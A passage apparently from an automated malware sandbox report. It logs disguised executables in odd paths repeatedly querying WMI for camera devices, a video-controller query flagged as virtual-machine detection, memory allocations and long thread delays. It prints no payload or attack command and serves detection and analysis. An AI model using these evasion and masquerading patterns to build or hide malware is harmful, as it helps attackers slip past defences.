Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Memory allocated: 1760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Memory allocated: 1B420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\Default\dllhost.exe	Memory allocated: 15F0000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: 1B210000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: 2340000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: 1A4E0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Memory allocated: 12A0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Memory allocated: 1B090000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Memory allocated: 950000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Memory allocated: 1A620000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\services.exe	Memory allocated: 13A0000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\services.exe	Memory allocated: 1B2A0000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\services.exe	Memory allocated: D10000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\services.exe	Memory allocated: 1A9A0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Memory allocated: 13F0000 memory reserve \| memory write watch
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Memory allocated: 1AEA0000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: B00000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: 1A790000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\services.exe	Memory allocated: B10000 memory reserve \| memory write watch
Source: C:\Program Files\Windows Portable Devices\services.exe	Memory allocated: 1A6A0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Memory allocated: E60000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Memory allocated: 1A9D0000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: 2590000 memory reserve \| memory write watch
Source: C:\Users\Default\dllhost.exe	Memory allocated: 1A670000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\dllhost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Windows Portable Devices\services.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 600000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 599874
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 3600000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 598828
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 598328
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 597047
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 596859
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 596703
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 596406
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595750
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595484
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595343
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 595223
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 594359
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 594203
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 594078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593937
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593828
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593687
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593562
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 300000
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593422
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593265
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 593031
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592859
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592656
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592437
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592187
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 592031
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591781
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591640
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591422
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591265
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 591140
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590953
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590812
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590500
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590359
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590234
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 590078
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589906
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589797
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589593
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589484
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589359
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589218
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 589045
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588734
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588547
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588437
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588312
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588203
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Thread delayed: delay time: 588093
